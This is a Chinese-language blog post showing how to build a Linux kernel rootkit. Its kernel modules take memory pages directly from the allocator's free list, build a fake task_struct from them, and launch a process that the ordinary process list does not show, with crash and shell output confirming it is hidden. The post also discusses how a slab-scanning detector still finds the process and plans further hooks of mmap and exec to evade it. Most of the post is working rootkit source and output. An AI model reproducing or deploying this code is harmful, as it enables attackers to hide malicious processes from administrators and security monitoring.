窃取Linux内核page以构建窝藏自己的Rootkit

窃取内核的page?是的,偷page意味着我们绕过page分配的一切规则和接口,直接从freelist中摘取一个空闲的page来用。

直接看个POC吧,我来模拟一个task_struct的分配过程:

#include <linux/module.h>
#include <linux/mm.h>
#include <linux/sched.h>

static void * page_steal(unsigned int j)
{
	void *addr = NULL;
	int i = 0;

	for_each_online_node(i) {
		unsigned long spfn, epfn, pfn;

		spfn= node_start_pfn(i);
		epfn = node_end_pfn(i);
		for (pfn = spfn; pfn < epfn;) {
			struct page *page = pfn_to_page(pfn);

			// 找到空闲页面,并且没有被偷走的,就摘除它,偷走它,占有它!
			if (page_count(page) == 0 && pfn == j &&
				(page->lru.prev != LIST_POISON2 && page->lru.next != LIST_POISON1)) {
				// 仅仅从freelist中摘除,并不增加引用计数。
				// 该page我们是偷来的,永久保有,绝不归还!
				list_del(&page->lru);
				// 至此,内核已经看不到这个page了,获取地址使用它吧。
				addr = page_address(page);
				// 注意,偷的page最好直接使用线性映射地址。
				// 并且,一定要check其PTE的性质,保证可读写,必要时可执行!!本文略。
				break;
			}
			pfn ++;
		}
	}
	return addr;
}

static int __init steal_task_init(void)
{
	struct task_struct *p, *curr = current;
	unsigned int j = 2000;

again:
	// 这里模拟一个用偷来的page构建task_struct的过程。
	p = (struct task_struct *)page_steal(j);
	if (p) {
		*p = *curr;
		p->pid = 0xffffff;
		strcpy(p->comm, "JingLiSkinShoe");
		printk("get page:%p  at %d\n", p, j);
	} else if (j > 0) {
		j --;
		goto again;
	}

	return -1;
}

module_init(steal_task_init);
MODULE_LICENSE("GPL");

加载这个模块,根据打印信息用crash来dump结构体:

[root@localhost test]# dmesg
[ 9260.300467] get page:ffff880000500000  at 1280

我们看看这个地址:

crash> task_struct.sched_class,comm,pid ffff880000500000
  sched_class = 0xffffffff81669340 <fair_sched_class>
  comm = "JingLiSkinShoe\000"
  pid = 16777215
crash>

OK,我们试试用上文中介绍的dump所有slab对象的方法能找到它吗?

[root@localhost test]# insmod ./pagescan.ko
insmod: ERROR: could not insert module ./pagescan.ko: Operation not permitted
[root@localhost test]# dmesg |grep JingLiSkinShoe
[root@localhost test]# echo $?
1

很显然,没有找到!

OK,根据以上的POC,我们可以来个正式的了。也就是,是时候搞一个可以运行的隐藏进程了,请看:

// stealfork.c
#include <linux/module.h>
#include <linux/cred.h>
#include <linux/slab.h>
#include <linux/kallsyms.h>
#include <linux/nsproxy.h>
#include <linux/pid_namespace.h>
#include <linux/random.h>
#include <linux/fdtable.h>
#include <linux/cgroup.h>
#include <linux/sched.h>

int (*_run_process)(struct filename *file, char **, char **);
struct filename * (*_getname_kernel)(char *name);

int test_stub2(void)
{
	printk("stub pid: %d  at %p\n", current->pid, current);
	if (_run_process) {
		int r =_run_process(_getname_kernel("/root/run"), NULL, NULL);
		printk("result:%d\n", r);
	}
	current->parent = current;
	current->real_parent = current;
	return 0;
}

int (*_arch_dup_task_struct)(struct task_struct *, struct task_struct *);
int (*_copy_thread)(unsigned long, unsigned long, unsigned long, struct task_struct *);
void (*_wake_up_new_task)(struct task_struct *);
void (*_sched_fork)(unsigned long, struct task_struct *);
struct fs_struct * (*_copy_fs_struct)(struct fs_struct *);
struct files_struct * (*_dup_fd)(struct files_struct *, int *);
struct pid * (*_alloc_pid)(struct pid_namespace *ns);

static void *page_steal(unsigned int j)
{
	void *addr = NULL;
	int i = 0;

	for_each_online_node(i) {
		unsigned long spfn, epfn, pfn;

		spfn= node_start_pfn(i);
		epfn = node_end_pfn(i);
		for (pfn = spfn; pfn < epfn;) {
			struct page *page = pfn_to_page(pfn);

			if (page_count(page) == 0 && pfn == j &&
				(page->lru.prev != LIST_POISON2 && page->lru.next != LIST_POISON1)) {
				list_del(&page->lru);
				addr = page_address(page);
				// 此处,一定要check其PTE的性质,保证可读写,必要时可执行!!本文略。
				break;
			}
			pfn ++;
		}
	}
	return addr;
}

static void *steal_alloc(void)
{
	void *addr;
	static unsigned int j = 8000;

again:
	addr = page_steal(j);
	if (addr) {
		j --;
		return addr;
	} else if (j > 0) {
		j --;
		goto again;
	}
	return NULL;
}

static int __init stealfork_init(void)
{
	unsigned char *base;
	struct task_struct *tsk;
	struct thread_info *ti;
	struct task_struct *orig = current;
	unsigned long *stackend;
	struct pid_link *link;
	struct hlist_node *node;
	struct sighand_struct *sig;
	struct signal_struct *sign;
	struct cred *new;
	struct pid *pid = NULL;
	int type, err = 0;

	_arch_dup_task_struct = (void *)kallsyms_lookup_name("arch_dup_task_struct");
	_sched_fork = (void *)kallsyms_lookup_name("sched_fork");
	_copy_fs_struct = (void *)kallsyms_lookup_name("copy_fs_struct");
	_dup_fd = (void *)kallsyms_lookup_name("dup_fd");
	_run_process = (void *)kallsyms_lookup_name("do_execve");
	_getname_kernel =  (void *)kallsyms_lookup_name("getname_kernel");
	_alloc_pid =  (void *)kallsyms_lookup_name("alloc_pid");
	_copy_thread = (void *)kallsyms_lookup_name("copy_thread");
	_wake_up_new_task = (void *)kallsyms_lookup_name("wake_up_new_task");

	// 所有的内核分配均使用steal_alloc来偷!
	base = (unsigned char *)steal_alloc();
	tsk = (struct task_struct *)base;
	_arch_dup_task_struct(tsk, orig);
	base = (unsigned char *)steal_alloc();
	ti = (struct thread_info *)base;
	tsk->stack = ti;
	*task_thread_info(tsk) = *task_thread_info(orig);
	task_thread_info(tsk)->task = tsk;
	stackend = end_of_stack(tsk);
	*stackend = 0x57AC6E9D;
	tsk->stack_canary = get_random_int();

	clear_tsk_thread_flag(tsk, TIF_USER_RETURN_NOTIFY);
	clear_tsk_thread_flag(tsk, TIF_NEED_RESCHED	);
	atomic_set(&tsk->usage, 2);
	tsk->splice_pipe = NULL;
	tsk->task_frag.page = NULL;
	memset(&tsk->rss_stat, 0, sizeof(tsk->rss_stat));

	raw_spin_lock_init(&tsk->pi_lock);
	plist_head_init(&tsk->pi_waiters);
	tsk->pi_blocked_on = NULL;

	rcu_copy_process(tsk);
	tsk->vfork_done = NULL;
	spin_lock_init(&tsk->alloc_lock);
	init_sigpending(&tsk->pending);

	seqlock_init(&tsk->vtime_seqlock);
	tsk->audit_context = NULL;

	_sched_fork(0, tsk);

	tsk->mm = NULL;
	tsk->active_mm = NULL;
	memset(&tsk->perf_event_ctxp, 0, sizeof(tsk->perf_event_ctxp));
	mutex_init(&tsk->perf_event_mutex);
	INIT_LIST_HEAD(&tsk->perf_event_list);

	new = prepare_creds();
	if (new->thread_keyring) {
		key_put(new->thread_keyring);
		new->thread_keyring = NULL;
	}
	key_put(new->process_keyring);
	new->process_keyring = NULL;
	atomic_inc(&new->user->processes);
	tsk->cred = tsk->real_cred = get_cred(new);
	validate_creds(new);

	tsk->fs = _copy_fs_struct(current->fs);
	tsk->files = _dup_fd(current->files, &err);
	base = steal_alloc();
	sig = (struct sighand_struct *)base;
	atomic_set(&sig->count, 2);
	memcpy(sig->action, current->sighand->action, sizeof(sig->action));

	base = steal_alloc();
	sign = (struct signal_struct *)base;
	sign->nr_threads = 1;
	atomic_set(&sign->live, 2);
	atomic_set(&sign->sigcnt, 2);
	sign->thread_head = (struct list_head)LIST_HEAD_INIT(tsk->thread_node);
	tsk->thread_node = (struct list_head)LIST_HEAD_INIT(sign->thread_head);
	init_waitqueue_head(&sign->wait_chldexit);
	sign->curr_target = tsk;
	init_sigpending(&sign->shared_pending);
	INIT_LIST_HEAD(&sign->posix_timers);
	seqlock_init(&sign->stats_lock);
	memcpy(sign->rlim, current->signal->rlim, sizeof sign->rlim);

	tsk->cgroups = current->cgroups;
	atomic_inc(&tsk->cgroups->refcount);
	INIT_LIST_HEAD(&tsk->cg_list);

	// 设置堆栈以及入口
	tsk->flags |= PF_KTHREAD;
	_copy_thread(0, (unsigned long)test_stub2, (unsigned long)0, tsk);
	tsk->clear_child_tid = NULL;
	tsk->set_child_tid = NULL;

	// 伪造身份证
	pid = steal_alloc();
	pid->level = current->nsproxy->pid_ns->level;
	pid->numbers[0].nr = 0xffff;
	pid->numbers[0].ns = current->nsproxy->pid_ns;
	for (type = 0; type < PIDTYPE_MAX; ++type)
		INIT_HLIST_HEAD(&pid->tasks[type]);
	atomic_set(&pid->count, 2);

	// 进程管理结构自吞尾
	INIT_LIST_HEAD(&tsk->ptrace_entry);
	INIT_LIST_HEAD(&tsk->ptraced);
	atomic_set(&tsk->ptrace_bp_refcnt, 1);
	tsk->jobctl = 0;
	tsk->ptrace = 0;
	tsk->pi_state_cache = NULL;
	tsk->group_leader = tsk;
	INIT_LIST_HEAD(&tsk->thread_group);
	tsk->pid = pid_nr(pid);
	INIT_LIST_HEAD(&tsk->pi_state_list);
	INIT_LIST_HEAD(&tsk->tasks);
	INIT_LIST_HEAD(&tsk->children);
	INIT_LIST_HEAD(&tsk->sibling);

	// 进程组织自吞尾
	tsk->pids[PIDTYPE_PID].pid = pid;
	link = &tsk->pids[PIDTYPE_PID];
	node = &link->node;
	INIT_HLIST_NODE(node);
	node->pprev = &node;
	printk("task at %p\n", tsk);
	// 来吧!
	_wake_up_new_task(tsk);

	return 0;
}

static void __exit stealfork_exit(void)
{
}

module_init(stealfork_init);
module_exit(stealfork_exit);
MODULE_LICENSE("GPL");

我们把/root/run改成一个不会退出的死循环,然后载入上面这个stealfork.ko模块,创建了一个新的进程/root/run,下面我们看下如何找到它。

首先,我们看看它的样子:

[root@localhost test]# dmesg
[ 9914.796859] task at ffff880000f4f000
...

我们看ffff880000f4f000这个地址:

crash> task_struct.sched_class,comm,pid ffff880000f4f000
  sched_class = 0xffffffff81669340 <fair_sched_class>
  comm = "run\000od\000\000\060\000\000\000\000\000\000"
  pid = 65535
crash>

OK,这就是我们的run进程,下面看用常规方法能找到它不?

[root@localhost test]# ps -e|grep run
[root@localhost test]# echo $?
1

当然找不到!因为我根本就没有将它list到链表中!好吧,现在试试dump slab的方法:

[root@localhost test]# dmesg |grep run
[10059.334359] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334360] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334361] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334361] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334362] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334363] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334363] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334364] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334365] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334366] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.336179] ##### owner:[run] 65535   PGD:ffff88003a928000
[10059.336358] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.336359] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.336363] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.336366] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.336368] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.336370] ##### VMA owner:[run] 65535   PGD:ffff88003a928000

不好!!被发现了!

Why?

虽然我们使用偷来的页面构建了task_struct,那么在task_struct的slab里就无法发现它,但是却被mm_struct和vm_area_struct出卖了!因为我没有控制mm_struct和vm_area_struct的分配过程也用偷来的页面,我实在是难以控制:

  • 在task执行execve的调用中,会执行mm_alloc,重新分配一个mm_struct,并设置owner为task,为了控制mm_alloc,我们必须inlne hook,这很麻烦。
  • 进程运行过程中,会根据内存使用情况动态分配vm_area_struct,若hook这个过程,也非常麻烦。

这也从另一个侧面说明,用按图索骥顺藤摸瓜的方式查找可疑进程以及隐藏进程的方法,是多么好用!不要专门去直接找task_struct,间接将它缉拿归案!

下面,我要动手hook mmap以及exec了,让mm_struct和vm_area_struct也脱离管控!


浙江温州皮鞋湿,下雨进水不会胖!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章